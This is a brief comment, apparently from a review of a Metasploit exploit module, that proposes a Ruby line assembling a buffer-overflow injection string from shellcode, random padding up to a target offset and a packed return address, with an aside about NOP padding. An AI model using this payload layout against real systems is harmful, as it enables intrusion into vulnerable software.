See above about `make_nops` if this has to be nops, but this might work, too:
```ruby
injection = shellcode + rand_text_alpha(target['offset'] - shellcode.length) + [target.ret].pack('V')
```